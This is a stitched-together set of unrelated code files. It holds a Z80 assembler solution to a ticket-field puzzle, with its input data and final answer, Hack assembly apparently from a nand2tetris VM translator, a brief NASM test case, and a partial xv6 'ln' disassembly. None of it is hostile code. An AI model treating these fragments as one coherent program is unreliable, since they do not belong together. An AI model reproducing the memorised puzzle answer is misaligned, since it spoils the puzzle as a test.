DW 820,591,649,326,130,670,265,932,893,664,838,151,611,207,241,725,585,369,656,240
DW 521,760,137,417,829,413,492,822,649,329,108,392,731,420,663,412,818,606,499,726
DW 827,427,827,420,179,146,492,126,183,226,804,712,651,275,321,593,556,121,845,99
DW 255,235,241,149,255,706,127,370,446,84,17,367,375,808,155,375,122,882,229,75
DW 430,803,995,391,886,424,257,152,196,566,893,851,380,429,934,254,671,148,153,384
DW 805,578,943,412,663,268,123,366,605,208,205,10,432,723,803,615,414,769,109,232
DW 232,668,852,389,743,556,123,820,716,118,848,389,949,947,78,582,377,792,77,374
DW 267,939,733,103,224,759,892,429,857,674,703,861,192,238,619,116,804,726,75,850
DW 936,211,115,143,155,839,18,848,95,610,431,626,143,873,328,256,249,525,194,561
DW 422,851,396,242,226,582,224,523,724,705,719,712,404,885,615,807,922,71,374,809
DW 384,268,241,575,708,253,320,840,610,575,363,216,240,892,283,144,129,356,269,163
DW 58,188,717,374,408,627,729,615,934,292,825,497,598,564,207,888,410,943,770,727
DW 999,887,184,404,766,423,610,396,854,213,77,78,432,845,644,936,325,321,644,655
DW 854,197,73,496,87,658,392,515,626,949,766,498,822,938,398,652,846,707,106,182
DW 590,114,96,654,522,882,216,853,947,73,797,568,607,556,939,715,565,154,239,100
DW 619,636,121,128,326,407,229,681,833,415,204,54,247,358,731,288,378,377,386,495
DW 646,418,859,653,882,558,807,643,381,886,209,220,598,703,118,245,406,70,124,619
DW 803,74,835,361,494,717,423,726,522,807,8,626,611,240,668,892,396,673,227,595
DW 422,584,563,146,263,318,72,727,934,125,555,142,722,641,947,372,366,999,662,116
DW 214,557,379,556,713,151,561,616,191,241,806,688,554,390,79,236,816,433,359,887
DW 712,148,218,229,468,840,183,112,501,552,321,728,714,427,605,71,188,636,573,767
DW 598,318,106,154,253,799,580,252,998,394,258,802,819,405,837,383,720,208,201,51
DW 195,234,874,673,241,515,793,650,144,580,233,109,658,123,148,53,264,392,193,672
DW 584,876,364,611,284,263,53,108,188,654,873,280,734,718,113,708,636,74,434,595
DW 628,948,792,678,81,636,118,563,293,103,514,421,386,834,607,706,100,573,202,398
DW 252,385,555,626,269,15,326,88,73,360,247,813,658,681,725,793,430,195,319,834
DW 253,189,814,654,148,765,586,822,262,616,767,73,666,527,290,78,412,402,731,202
DW 128,673,236,726,662,717,330,832,840,722,372,364,383,406,237,996,648,843,389,668
DW 396,108,371,149,843,830,181,416,626,762,387,887,815,616,366,228,215,404,150,461
DW 210,819,141,658,211,214,106,400,371,215,704,936,936,86,601,847,861,216,583,841
DW 605,985,676,319,636,291,428,630,414,890,426,886,108,706,574,72,246,377,576,843
DW 94,670,161,323,665,369,610,403,523,497,587,392,200,427,196,199,123,193,233,70
DW 607,422,889,803,361,74,645,230,583,873,238,217,90,681,316,409,794,151,74,886
DW 113,705,767,721,765,713,838,182,581,376,765,946,940,191,188,936,611,289,916,615
DW 497,381,103,362,71,11,819,287,663,90,656,205,265,853,817,378,650,794,495,384
DW 578,257,858,263,758,94,254,320,902,100,810,401,657,241,318,657,894,656,498,106
DW 245,387,628,639,392,852,650,425,414,840,536,100,235,73,580,149,942,179,673,524
DW 400,199,383,417,676,146,878,894,435,293,991,146,835,715,493,112,894,326,492,384
DW 844,725,78,607,127,603,655,574,230,825,361,817,212,636,95,152,250,707,384,191
DW 586,202,670,155,577,847,646,403,469,893,206,731,811,591,635,236,391,820,509,644
DW 409,798,698,565,552,201,841,854,103,583,859,495,630,254,226,288,223,83,390,406
DW 808,407,657,282,320,654,573,251,404,319,756,795,876,579,203,407,465,207,244,315
DW 858,491,713,244,282,946,323,716,106,677,811,628,84,889,890,707,493,709,767,548
DW 93,857,304,196,836,82,367,416,703,50,948,607,102,83,400,256,80,635,663,716
DW 585,723,108,316,581,647,582,468,187,496,799,757,814,887,638,376,117,491,590,948
DW 640,694,760,948,218,642,853,642,805,243,410,402,933,380,88,882,931,560,836,761
DW 850,554,893,187,857,718,190,767,562,989,720,949,422,108,941,853,291,190,801,676
DW 92,90,556,94,118,587,714,592,659,609,181,890,106,792,654,83,218,245,371,863
DW 630,597,792,121,360,193,104,241,855,609,386,789,617,937,585,705,580,586,391,825
DW 679,562,795,263,892,446,607,942,824,408,400,679,429,218,653,548,800,823,103,191
DW 182,588,424,199,51,851,722,606,607,593,588,715,193,728,129,434,112,576,106,568
DW 582,5,98,206,733,846,632,366,552,713,494,585,640,416,793,466,891,146,596,827
DW 650,715,234,73,418,728,89,293,82,830,860,139,199,673,648,940,662,672,765,563
DW 182,617,435,678,379,714,842,770,707,113,91,812,229,132,675,846,259,947,122,713
DW 637,795,600,715,837,376,286,936,142,564,194,806,663,827,418,728,243,92,365,368
DW 468,194,186,756,117,290,209,126,616,380,948,312,648,269,495,129,114,190,329,222
DW 187,212,795,659,401,673,323,583,575,272,366,646,234,246,629,103,766,379,248,235
DW 760,659,768,78,379,393,150,435,383,192,287,703,674,605,187,194,467,666,657,3
DW 665,850,497,497,543,806,705,203,663,717,843,123,102,562,150,93,658,252,254,496
DW 402,187,947,555,757,103,282,675,432,50,942,714,856,891,648,293,583,767,780,641
DW 639,330,193,318,114,644,282,803,728,141,254,598,409,615,725,639,549,770,289,257
DW 999,154,128,206,123,221,141,734,627,877,116,285,374,446,663,246,431,108,817,587
DW 675,408,280,726,706,392,286,435,196,669,288,93,254,207,839,793,287,364,319,716
DW 186,75,148,643,120,931,271,665,374,209,429,366,804,386,759,555,114,221,122,760
DW 671,761,234,560,362,446,114,944,553,729,524,659,894,210,229,388,728,818,142,742
DW 832,885,253,418,716,648,657,396,205,650,394,604,151,208,252,386,833,423,182,859
DW 854,78,120,668,272,400,206,703,722,126,678,428,211,943,242,220,251,198,256,493
DW 422,585,229,703,77,902,97,188,268,263,792,206,639,634,875,805,123,559,468,213
DW 291,231,407,885,601,73,383,934,398,838,414,122,118,671,360,839,329,106,648,938
DW 940,90,730,422,655,271,617,210,708,818,185,214,129,109,733,418,401,797,200,217
DW 219,719,792,54,319,561,388,768,250,125,605,243,613,496,123,677,153,267,195,786
DW 362,413,213,402,74,412,804,643,118,324,878,615,890,994,937,95,378,433,493,214
DW 406,671,84,889,884,186,564,564,372,769,119,561,385,802,82,757,270,555,632,383
DW 669,731,949,834,494,685,425,187,551,188,574,876,212,949,804,831,356,261,416,382
DW 886,680,239,430,820,258,367,310,717,803,803,328,420,726,844,224,851,678,78,724
DW 629,228,759,595,124,846,421,554,186,840,266,665,814,183,221,91,687,250,852,553
DW 893,223,586,767,850,125,378,71,807,694,227,103,766,665,366,831,197,237,390,842
DW 821,679,265,73,368,412,327,396,884,79,627,149,940,525,87,106,124,931,995,287
DW 818,591,823,617,187,310,75,816,151,716,609,200,703,889,500,580,726,381,396,396
DW 824,90,434,765,358,399,265,563,613,363,826,597,710,704,384,107,91,590,423,919
DW 138,565,257,84,807,199,119,667,667,235,932,634,220,244,814,841,254,931,385,943
DW 389,806,51,839,880,522,643,651,411,129,575,561,652,706,828,767,307,656,803,407
DW 76,759,388,667,99,401,147,885,598,229,226,82,946,714,746,237,397,597,427,722
DW 102,644,193,725,107,466,243,641,491,180,844,925,823,204,712,91,81,641,836,266
DW 330,638,588,278,837,218,638,715,231,654,713,703,247,664,328,885,826,378,713,852
DW 849,115,946,323,413,413,330,233,861,302,727,592,91,225,187,709,402,672,375,723
DW 322,195,841,248,465,137,212,86,240,289,848,362,446,406,426,551,116,285,467,632
DW 414,87,845,118,50,417,941,608,215,797,652,237,421,860,53,199,70,551,307,661
DW 129,764,839,191,225,183,663,760,249,389,199,803,884,325,725,126,975,590,233,552
DW 468,291,644,98,873,412,849,67,257,707,98,292,719,435,662,803,878,430,638,734
DW 734,944,656,816,905,257,946,268,655,376,195,574,626,795,880,236,592,109,946,595
DW 854,722,287,792,378,117,371,198,728,574,844,798,732,202,824,656,563,497,768,483
DW 186,142,887,760,179,108,320,329,428,880,155,741,818,142,521,609,579,645,616,874
DW 422,810,323,259,211,431,728,120,522,715,429,667,143,891,831,579,833,401,729,279
DW 4,610,73,933,935,226,889,756,652,562,802,500,237,939,834,656,381,892,241,813
DW 565,798,613,689,574,221,106,552,382,674,330,655,608,242,819,246,231,944,431,239
DW 799,820,390,876,72,196,73,234,197,712,629,239,997,422,126,141,649,403,432,717
DW 878,837,121,434,292,879,828,989,661,397,196,646,857,813,680,446,767,148,253,128
DW 254,630,265,428,877,654,581,662,86,798,430,58,850,90,365,423,577,805,320,760
DW 818,388,467,424,887,799,933,843,651,708,366,388,522,905,817,220,89,933,879,941
DW 879,153,236,255,78,60,729,419,644,326,654,142,665,947,561,521,842,291,936,496
DW 915,220,290,499,248,719,595,596,885,214,105,638,589,110,607,204,226,119,885,410
DW 141,193,402,414,816,466,255,822,51,191,361,416,290,822,893,799,604,153,401,231
DW 93,372,942,874,520,630,247,129,657,102,614,521,675,93,141,763,500,368,756,52
NEARBY_TICKETS_COUNT EQU ($ - nearby_tickets) / (TICKET_FIELDS<<1)
;========================= end of task input ========================
ENDIF
DS 5, 0 : ALIGN 256 ; some padding after input data
fieldsValidity: DS (TICKET_FIELDS<<2),-1 ; all fields are valid for all traits (DWORDs)
tmpFieldsValidity: DS (TICKET_FIELDS<<2),-1 ; all fields are valid for all traits (DWORDs)
fieldAssignment: DS TICKET_FIELDS,$FF ; pairing of field to particular trait
ASSERT TICKET_FIELDS == N_IS_VALID[#]
DISPLAY "Ticket has ",/D,TICKET_FIELDS," fields, there are ",/D,NEARBY_TICKETS_COUNT," nearby tickets"
inPtr = nearby_tickets
DUP NEARBY_TICKETS_COUNT <? 1 + ((3 == __PASS__)&$7FFFFFFE)
; ^^ that ugly tail makes the DUP do only 1 repeat in early passes - speeds up execution
; overwrite tmp validity for next ticket (to reject invalid tickets w/o affecting fieldsValidity)
ORG tmpFieldsValidity
is_error = 0 ; no field is completely invalid if set
DUP TICKET_FIELDS
n = {inPtr} ; read ticket field 0..TICKET_FIELDS-1
inPtr = inPtr + 2
is_valid = 0
is_valid_i = 0
DUP TICKET_FIELDS ; check it against all N_IS_VALID rules, collect result as bit-map
is_valid = (is_valid << 1) | (1 & (N_IS_VALID[is_valid_i]))
is_valid_i = is_valid_i + 1
EDUP
DD is_valid ; write bit-map result
is_error = is_error || (!is_valid)
EDUP
IF !is_error ; this ticket is valid, AND-merge it's validity details into fieldsValidity
; fieldsValidity &= tmpFieldsValidity
ORG fieldsValidity : DUP TICKET_FIELDS<<1 : DW { $ } & { tmpFieldsValidity + ($-fieldsValidity) } : EDUP
ENDIF
EDUP
n = 0
DISPLAY "After checking all tickets..."
DUP TICKET_FIELDS
validityMask = {fieldsValidity + (n << 2)} | ({fieldsValidity + (n << 2) + 2} << 16)
DEFINE+ POW_OF_TWO "" ; check if it is exactly power-of-two => field known!
IF 0 == (validityMask & (validityMask-1)) : DEFINE+ POW_OF_TWO " !one field!" : ENDIF
DISPLAY "Field ",/D,n,"\t| validity mask: ",validityMask,POW_OF_TWO
n = n + 1
EDUP
fieldsToAssign = TICKET_FIELDS & (3 == __PASS__) ; true is "~0 == -1" in sjasmplus
m = 0
newValidityMask = 0
WHILE fieldsToAssign
n = 0
DUP TICKET_FIELDS
IF $FF == {b fieldAssignment + n} ; not assigned yet
validityMask = {fieldsValidity + (n << 2)} | ({fieldsValidity + (n << 2) + 2} << 16)
IF 0 == (validityMask & (validityMask-1))
m = 0
WHILE (1<<m) != validityMask
m = m + 1 ; find which bit is set (from right, so 0 is field TICKET_FIELDS-1
ENDW
; assign this particular trait "TICKET_FIELDS-1-m" to field "n"
ORG fieldAssignment + n : DB TICKET_FIELDS - 1 - m
fieldsToAssign = fieldsToAssign - 1
m = 0 ; remove this particular trait from all other unassigned fields
DUP TICKET_FIELDS
newValidityMask = {fieldsValidity + (m << 2)} | ({fieldsValidity + (m << 2) + 2} << 16)
IF $FF == {b fieldAssignment + m}
newValidityMask = newValidityMask & (~validityMask)
ORG fieldsValidity + (m << 2) : DD newValidityMask
ENDIF
m = m + 1
EDUP
ENDIF
ENDIF
n = n + 1
EDUP
ENDW
IF 3 == __PASS__
n = 0
DISPLAY "Your ticket:"
DUP TICKET_FIELDS
DISPLAY FIELD_NAMES[{b fieldAssignment + n}]," = ",/D,{your_ticket + (n<<1)}
n = n + 1
EDUP
ENDIF
END ; end of asm-script code, the final value of result is calculated manually
;;-------------------------------------------------------------
;; output for my input data was:
> Your ticket:
> TRAIN = 71
> ARRIVAL_PLATFORM = 127
> DURATION = 181
> ROUTE = 179
> ARRIVAL_LOCATION = 113
> DEPARTURE_STATION = 109
> CLASS = 79
> PRICE = 151
> DEPARTURE_LOCATION = 97
> ROW = 107
> DEPARTURE_DATE = 53
> ZONE = 193
> ARRIVAL_STATION = 73
> DEPARTURE_PLATFORM = 83
> SEAT = 191
> TYPE = 101
> DEPARTURE_TRACK = 89
> ARRIVAL_TRACK = 149
> DEPARTURE_TIME = 103
> WAGON = 197
Departures only:
> DEPARTURE_STATION = 109
> DEPARTURE_LOCATION = 97
> DEPARTURE_DATE = 53
> DEPARTURE_PLATFORM = 83
> DEPARTURE_TRACK = 89
> DEPARTURE_TIME = 103
result = 109 * 97 * 53 * 83 * 89 * 103 = 426362917709
|
//Function(name=Sys.init, locals=0)
(Sys.init)
//Push(source=CONSTANT, where=4000)
@4000
D=A
@SP
M=M+1
A=M-1
M=D
//Pop(source=POINTER, where=0)
@SP
M=M-1
A=M
D=M
M=0
@3
M=D
//Push(source=CONSTANT, where=5000)
@5000
D=A
@SP
M=M+1
A=M-1
M=D
//Pop(source=POINTER, where=1)
@SP
M=M-1
A=M
D=M
M=0
@4
M=D
//Call(name=Sys.main, args=0)
@RETURN0
D=A
@SP
M=M+1
A=M-1
M=D
@LCL
D=M
@SP
M=M+1
A=M-1
M=D
@ARG
D=M
@SP
M=M+1
A=M-1
M=D
@THIS
D=M
@SP
M=M+1
A=M-1
M=D
@THAT
D=M
@SP
M=M+1
A=M-1
M=D
@5
D=A
@SP
D=M-D
@ARG
M=D
@SP
D=M
@LCL
M=D
@Sys.main
0;JMP
(RETURN0)
//Pop(source=TEMP, where=1)
@SP
M=M-1
A=M
D=M
M=0
@6
M=D
//Label(name=LOOP)
(LOOP)
//Goto(label=LOOP)
@LOOP
0;JMP
//Function(name=Sys.main, locals=5)
(Sys.main)
@SP
M=M+1
A=M-1
M=0
@SP
M=M+1
A=M-1
M=0
@SP
M=M+1
A=M-1
M=0
@SP
M=M+1
A=M-1
M=0
@SP
M=M+1
A=M-1
M=0
//Push(source=CONSTANT, where=4001)
@4001
D=A
@SP
M=M+1
A=M-1
M=D
//Pop(source=POINTER, where=0)
@SP
M=M-1
A=M
D=M
M=0
@3
M=D
//Push(source=CONSTANT, where=5001)
@5001
D=A
@SP
M=M+1
A=M-1
M=D
//Pop(source=POINTER, where=1)
@SP
M=M-1
A=M
D=M
M=0
@4
M=D
//Push(source=CONSTANT, where=200)
@200
D=A
@SP
M=M+1
A=M-1
M=D
//Pop(source=LOCAL, where=1)
@SP
M=M-1
A=M
D=M
M=0
@LCL
A=M
A=A+1
M=D
//Push(source=CONSTANT, where=40)
@40
D=A
@SP
M=M+1
A=M-1
M=D
//Pop(source=LOCAL, where=2)
@SP
M=M-1
A=M
D=M
M=0
@LCL
A=M
A=A+1
A=A+1
M=D
//Push(source=CONSTANT, where=6)
@6
D=A
@SP
M=M+1
A=M-1
M=D
//Pop(source=LOCAL, where=3)
@SP
M=M-1
A=M
D=M
M=0
@LCL
A=M
A=A+1
A=A+1
A=A+1
M=D
//Push(source=CONSTANT, where=123)
@123
D=A
@SP
M=M+1
A=M-1
M=D
//Call(name=Sys.add12, args=1)
@RETURN1
D=A
@SP
M=M+1
A=M-1
M=D
@LCL
D=M
@SP
M=M+1
A=M-1
M=D
@ARG
D=M
@SP
M=M+1
A=M-1
M=D
@THIS
D=M
@SP
M=M+1
A=M-1
M=D
@THAT
D=M
@SP
M=M+1
A=M-1
M=D
@6
D=A
@SP
D=M-D
@ARG
M=D
@SP
D=M
@LCL
M=D
@Sys.add12
0;JMP
(RETURN1)
//Pop(source=TEMP, where=0)
@SP
M=M-1
A=M
D=M
M=0
@5
M=D
//Push(source=LOCAL, where=0)
@0
D=A
@LCL
A=D+M
D=M
@SP
M=M+1
A=M-1
M=D
//Push(source=LOCAL, where=1)
@1
D=A
@LCL
A=D+M
D=M
@SP
M=M+1
A=M-1
M=D
//Push(source=LOCAL, where=2)
@2
D=A
@LCL
A=D+M
D=M
@SP
M=M+1
A=M-1
M=D
//Push(source=LOCAL, where=3)
@3
D=A
@LCL
A=D+M
D=M
@SP
M=M+1
A=M-1
M=D
//Push(source=LOCAL, where=4)
@4
D=A
@LCL
A=D+M
D=M
@SP
M=M+1
A=M-1
M=D
//StackOperation(type=ADD)
@SP
M=M-1
A=M
D=M
M=0
A=A-1
M=D+M
//StackOperation(type=ADD)
@SP
M=M-1
A=M
D=M
M=0
A=A-1
M=D+M
//StackOperation(type=ADD)
@SP
M=M-1
A=M
D=M
M=0
A=A-1
M=D+M
//StackOperation(type=ADD)
@SP
M=M-1
A=M
D=M
M=0
A=A-1
M=D+M
//Return@5d6f64b1
@5
D=A
@LCL
A=M-D
D=M
@R13
M=D
@SP
A=M-1
D=M
@ARG
A=M
M=D
@ARG
D=M
@SP
M=D+1
@LCL
A=M-1
D=M
@THAT
M=D
@LCL
A=M-1
A=A-1
D=M
@THIS
M=D
@LCL
A=M-1
A=A-1
A=A-1
D=M
@ARG
M=D
@LCL
A=M-1
A=A-1
A=A-1
A=A-1
D=M
@LCL
M=D
@R13
A=M
0;JMP
//Function(name=Sys.add12, locals=0)
(Sys.add12)
//Push(source=CONSTANT, where=4002)
@4002
D=A
@SP
M=M+1
A=M-1
M=D
//Pop(source=POINTER, where=0)
@SP
M=M-1
A=M
D=M
M=0
@3
M=D
//Push(source=CONSTANT, where=5002)
@5002
D=A
@SP
M=M+1
A=M-1
M=D
//Pop(source=POINTER, where=1)
@SP
M=M-1
A=M
D=M
M=0
@4
M=D
//Push(source=ARGUMENT, where=0)
@0
D=A
@ARG
A=D+M
D=M
@SP
M=M+1
A=M-1
M=D
//Push(source=CONSTANT, where=12)
@12
D=A
@SP
M=M+1
A=M-1
M=D
//StackOperation(type=ADD)
@SP
M=M-1
A=M
D=M
M=0
A=A-1
M=D+M
//Return@32a1bec0
@5
D=A
@LCL
A=M-D
D=M
@R13
M=D
@SP
A=M-1
D=M
@ARG
A=M
M=D
@ARG
D=M
@SP
M=D+1
@LCL
A=M-1
D=M
@THAT
M=D
@LCL
A=M-1
A=A-1
D=M
@THIS
M=D
@LCL
A=M-1
A=A-1
A=A-1
D=M
@ARG
M=D
@LCL
A=M-1
A=A-1
A=A-1
A=A-1
D=M
@LCL
M=D
@R13
A=M
0;JMP
|
global test_case
extern Array.createb
extern Array.eachb
extern std.outbln
%include "Array.inc"
section .text
test_case:
mov rax, 1 ; array length
call Array.createb ; 1-Byte array
mov rbx, std.outbln ; function to call
call Array.eachb
ret
|
_ln: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc push -0x4(%ecx)
if(argc != 3){
a: 83 39 03 cmpl $0x3,(%ecx)
{
d: 55 push %ebp
e: 89 e5 mov %esp,%ebp
10: 53 push %ebx
11: 51 push %ecx
12: 8b 59 04 mov 0x4(%ecx),%ebx
if(argc != 3){
15: 74 13 je 2a <main+0x2a>
printf(2, "Usage: ln old new\n");
17: 52 push %edx
18: 52 push %edx
19: 68 48 07 00 00 push $0x748
1e: 6a 02 push $0x2
20: e8 fb 03 00 00 call 420 <printf>
exit();
25: e8 89 02 00 00 call 2b3 <exit>
}
if(link(argv[1], argv[2]) < 0)
2a: 50 push %eax
2b: 50 push %eax
2c: ff 73 08 push 0x8(%ebx)
2f: ff 73 04 push 0x4(%ebx)
32: e8 dc 02 00 00 call 313 <link>
37: 83 c4 10 add $0x10,%esp
3a: 85 c0 test %eax,%eax
3c: 78 05 js 43 <main+0x43>
printf(2, "link %s %s: failed\n", argv[1], argv[2]);
exit();
3e: e8 70 02 00 00 call 2b3 <exit>
printf(2, "link %s %s: failed\n", argv[1], argv[2]);
43: ff 73 08 push 0x8(%ebx)
46: ff 73 04 push 0x4(%ebx)
49: 68 5b 07 00 00 push $0x75b
4e: 6a 02 push $0x2
50: e8 cb 03 00 00 call 420 <printf>
55: 83 c4 10 add $0x10,%esp
58: eb e4 jmp 3e <main+0x3e>
5a: 66 90 xchg %ax,%ax
5c: 66 90 xchg %ax,%ax
5e: 66 90 xchg %ax,%ax
00000060 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
60: 55 push %ebp
char *os;
os = s;
while((*s++ = *t++) != 0)
61: 31 c0 xor %eax,%eax
{
63: 89 e5 mov %esp,%ebp
65: 53 push %ebx
66: 8b 4d 08 mov 0x8(%ebp),%ecx
69: 8b 5d 0c mov 0xc(%ebp),%ebx
6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while((*s++ = *t++) != 0)
70: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx
74: 88 14 01 mov %dl,(%ecx,%eax,1)
77: 83 c0 01 add $0x1,%eax
7a: 84 d2 test %dl,%dl
7c: 75 f2 jne 70 <strcpy+0x10>
;
return os;
}
7e: 8b 5d fc mov -0x4(%ebp),%ebx
81: 89 c8 mov %ecx,%eax
83: c9 leave
84: c3 ret
85: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000090 <strcmp>:
int
strcmp(const char *p, const char *q)
{
90: 55 push %ebp
91: 89 e5 mov %esp,%ebp
93: 53 push %ebx
94: 8b 55 08 mov 0x8(%ebp),%edx
97: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
9a: 0f b6 02 movzbl (%edx),%eax
9d: 84 c0 test %al,%al
9f: 75 17 jne b8 <strcmp+0x28>
a1: eb 3a jmp dd <strcmp+0x4d>
a3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
a7: 90 nop
a8: 0f b6 42 01 movzbl 0x1(%edx),%eax
p++, q++;
ac: 83 c2 01 add $0x1,%edx
af: 8d 59 01 lea 0x1(%ecx),%ebx
while(*p && *p == *q)
b2: 84 c0 test %al,%al
b4: 74 1a je d0 <strcmp+0x40>
p++, q++;
b6: 89 d9 mov %ebx,%ecx
while(*p && *p == *q)
b8: 0f b6 19 movzbl (%ecx),%ebx
bb: 38 c3 cmp %al,%bl
bd: 74 e9 je a8 <strcmp+0x18>
return (uchar)*p - (uchar)*q;
bf: 29 d8 sub %ebx,%eax
}
c1: 8b 5d fc mov -0x4(%ebp),%ebx
c4: c9 leave
c5: c3 ret
c6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
cd: 8d 76 00 lea 0x0(%esi),%esi
return (uchar)*p - (uchar)*q;
d0: 0f b6 59 01 movzbl 0x1(%ecx),%ebx
d4: 31 c0 xor %eax,%eax
d6: 29 d8 sub %ebx,%eax
}
d8: 8b 5d fc mov -0x4(%ebp),%ebx
db: c9 leave
dc: c3 ret
return (uchar)*p - (uchar)*q;
dd: 0f b6 19 movzbl (%ecx),%ebx
e0: 31 c0 xor %eax,%eax
e2: eb db jmp bf <strcmp+0x2f>
e4: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
eb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
ef: 90 nop
000000f0 <strlen>:
uint
strlen(const char *s)
{
f0: 55 push %ebp
f1: 89 e5 mov %esp,%ebp
f3: 8b 55 08 mov 0x8(%ebp),%edx
int n;
for(n = 0; s[n]; n++)
f6: 80 3a 00 cmpb $0x0,(%edx)
f9: 74 15 je 110 <strlen+0x20>
fb: 31 c0 xor %eax,%eax
fd: 8d 76 00 lea 0x0(%esi),%esi
100: 83 c0 01 add $0x1,%eax
103: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
107: 89 c1 mov %eax,%ecx
109: 75 f5 jne 100 <strlen+0x10>
;
return n;
}
10b: 89 c8 mov %ecx,%eax
10d: 5d pop %ebp
10e: c3 ret
10f: 90 nop
for(n = 0; s[n]; n++)
110: 31 c9 xor %ecx,%ecx
}
112: 5d pop %ebp
113: 89 c8 mov %ecx,%eax
115: c3 ret
116: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
11d: 8d 76 00 lea 0x0(%esi),%esi
00000120 <memset>:
void*
memset(void *dst, int c, uint n)
{
120: 55 push %ebp
121: 89 e5 mov %esp,%ebp
123: 57 push %edi
124: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
127: 8b 4d 10 mov 0x10(%ebp),%ecx
12a: 8b 45 0c mov 0xc(%ebp),%eax
12d: 89 d7 mov %edx,%edi
12f: fc cld
130: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
132: 8b 7d fc mov -0x4(%ebp),%edi
135: 89 d0 mov %edx,%eax
137: c9 leave
138: c3 ret
139: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000140 <strchr>:
char*
strchr(const char *s, char c)
{
140: 55 push %ebp
141: 89 e5 mov %esp,%ebp
143: 8b 45 08 mov 0x8(%ebp),%eax
146: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
14a: 0f b6 10 movzbl (%eax),%edx
14d: 84 d2 test %dl,%dl
14f: 75 12 jne 163 <strchr+0x23>
151: eb 1d jmp 170 <strchr+0x30>
153: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
157: 90 nop
158: 0f b6 50 01 movzbl 0x1(%eax),%edx
15c: 83 c0 01 add $0x1,%eax
15f: 84 d2 test %dl,%dl
161: 74 0d je 170 <strchr+0x30>
if(*s == c)
163: 38 d1 cmp %dl,%cl
165: 75 f1 jne 158 <strchr+0x18>
return (char*)s;
return 0;
}
167: 5d pop %ebp
168: c3 ret
169: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return 0;
170: 31 c0 xor %eax,%eax
}
172: 5d pop %ebp
173: c3 ret
174: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
17b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
17f: 90 nop
00000180 <gets>:
char*
gets(char *buf, int max)
{
180: 55 push %ebp
181: 89 e5 mov %esp,%ebp
183: 57 push %edi
184: 56 push %esi
int i, cc;
char c;
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
185: 8d 7d e7 lea -0x19(%ebp),%edi
{
188: 53 push %ebx
for(i=0; i+1 < max; ){
189: 31 db xor %ebx,%ebx
{
18b: 83 ec 1c sub $0x1c,%esp
for(i=0; i+1 < max; ){
18e: eb 27 jmp 1b7 <gets+0x37>
cc = read(0, &c, 1);
190: 83 ec 04 sub $0x4,%esp
193: 6a 01 push $0x1
195: 57 push %edi
196: 6a 00 push $0x0
198: e8 2e 01 00 00 call 2cb <read>
if(cc < 1)
19d: 83 c4 10 add $0x10,%esp
1a0: 85 c0 test %eax,%eax
1a2: 7e 1d jle 1c1 <gets+0x41>
break;
buf[i++] = c;
1a4: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
1a8: 8b 55 08 mov 0x8(%ebp),%edx
1ab: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
1af: 3c 0a cmp $0xa,%al
1b1: 74 1d je 1d0 <gets+0x50>
1b3: 3c 0d cmp $0xd,%al
1b5: 74 19 je 1d0 <gets+0x50>
for(i=0; i+1 < max; ){
1b7: 89 de mov %ebx,%esi
1b9: 83 c3 01 add $0x1,%ebx
1bc: 3b 5d 0c cmp 0xc(%ebp),%ebx
1bf: 7c cf jl 190 <gets+0x10>
break;
}
buf[i] = '\0';
1c1: 8b 45 08 mov 0x8(%ebp),%eax
1c4: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
1c8: 8d 65 f4 lea -0xc(%ebp),%esp
1cb: 5b pop %ebx
1cc: 5e pop %esi
1cd: 5f pop %edi
1ce: 5d pop %ebp
1cf: c3 ret
buf[i] = '\0';
1d0: 8b 45 08 mov 0x8(%ebp),%eax
1d3: 89 de mov %ebx,%esi
1d5: c6 04 30 00 movb $0x0,(%eax,%esi,1)
}
1d9: 8d 65 f4 lea -0xc(%ebp),%esp
1dc: 5b pop %ebx
1dd: 5e pop %esi
1de: 5f pop %edi
1df: 5d pop %ebp
1e0: c3 ret
1e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1e8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1ef: 90 nop
000001f0 <stat>:
int
stat(const char *n, struct stat *st)
{
1f0: 55 push %ebp
1f1: 89 e5 mov %esp,%ebp
1f3: 56 push %esi
1f4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
1f5: 83 ec 08 sub $0x8,%esp
1f8: 6a 00 push $0x0
1fa: ff 75 08 push 0x8(%ebp)
1fd: e8 f1 00 00 00 call 2f3 <open>
if(fd < 0)
202: 83 c4 10 add $0x10,%esp
205: 85 c0 test %eax,%eax
207: 78 27 js 230 <stat+0x40>
return -1;
r = fstat(fd, st);
209: 83 ec 08 sub $0x8,%esp
20c: ff 75 0c push 0xc(%ebp)
20f: 89 c3 mov %eax,%ebx
211: 50 push %eax
212: e8 f4 00 00 00 call 30b <fstat>
close(fd);
